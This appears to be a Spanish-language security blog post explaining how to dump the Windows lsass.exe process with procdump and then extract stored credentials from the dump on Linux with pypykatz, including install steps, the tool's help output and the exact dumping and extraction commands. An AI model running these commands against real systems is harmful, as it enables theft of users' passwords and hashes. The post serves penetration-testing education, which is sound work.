Cuando realizamos el dumpeo del proceso lssas.exe el siguiente paso es obtener las credenciales que se encuentren almacenadas en memoria valga la redundancia , muchas o gran parte de las veces llegamos a utilizar mimikatz para extraerlos, aquí tenemos el inconveniente que necesitamos un entorno windows para extraer los credenciales.
La herramienta que utilizamos para el volcado de memoria del proceso es procdump en esta prueba de ejemplo, puedes realizar este proceso con SharpSploit u otra según Procdump forma parte de suite de Sysinternals que tiene como objetivo el extraer la informacion que se encuentra en memoria obteniendo consigo si todo esta adecuadamente mal configurado extraemos credenciales.
El volcado del proceso lsass se realiza de la siguiente manera, aclarando que depende mucho la ejecución según el escenario de explotabilidad que tengamos.
procdump.exe -accepteula -ma lsass.exe fichero.dump
Teniendo como resultado el fichero lsass.dmp, como mencionamos en el inicio de la entrada, existen dos maneras para tratar el dumpeo, el primero es con mimikatz desde un windows con la misma arquitectura o también desde linux, para cual tenemos la alternativa que es pypykatz.
Pypykatz es una implementación de Mimikatz en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo.
Instalación
Puedes ser realizado desde pip o sacando una copia del repositorio en github, ambos serán descritos a continuación.
Instalando a través de PIP
Necesitamos tener instalado pip3 para realizar la instalación.
╭─ ~/SniferL4bs
╰─pip3 install pypykatz
Las dependencias que necesitamos instalar previamente son las siguientes
╭─ ~/SniferL4bs
╰─ pip3 install minidump minikerberos aiowinreg msldap winsspi
Instalando desde Github
git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
python3 setup.py install
Solo debemos ejecutar en ambos casos pypykatz -h para ver las opciones de la herramienta.
╭─ ~/SniferL4bs
╰─ pypykatz -h
usage: pypykatz [-h] [-v]
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake} ...
Pure Python implementation of Mimikatz --and more--
positional arguments:
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake}
commands
live Get secrets from live machine
lsa Get secrets from memory dump
registry Get secrets from registry files
nt Generates NT hash of the password
lm Generates LM hash of the password
dcc Generates DCC v1 (domain cached credentials version 1)
hash of the password
dcc2 Generates DCC v2 (domain cached credentials version 2)
hash of the password
gppass Decrypt GP passwords
ldap LDAP (live) related commands
dpapi DPAPI (offline) related commands
sake sake
optional arguments:
-h, --help show this help message and exit
-v, --verbose
Necesitamos contar con el dumpeo del proceso para que el mismo sea tratado con pypykatz, el comando a ser utilizado es:
╭─ ~/SniferL4bs
╰─ pypykatz lsa minidump lsass.dmp
Teniendo el siguiente resultado con los credenciales obtenidos en texto claro, si todo marcho adecuadamente para nosotros.
Para conocer un mayor detalle de la herramienta Pypykatz tenemos su WIKI en github de Pypykatz.
“La ignorancia está menos lejos de la verdad que el prejuicio.” - Denis Diderot
Quieres que tratemos algun tema en el blog, avisanos en los comentarios, o en el grupo de Telegram.
Regards,
Snifer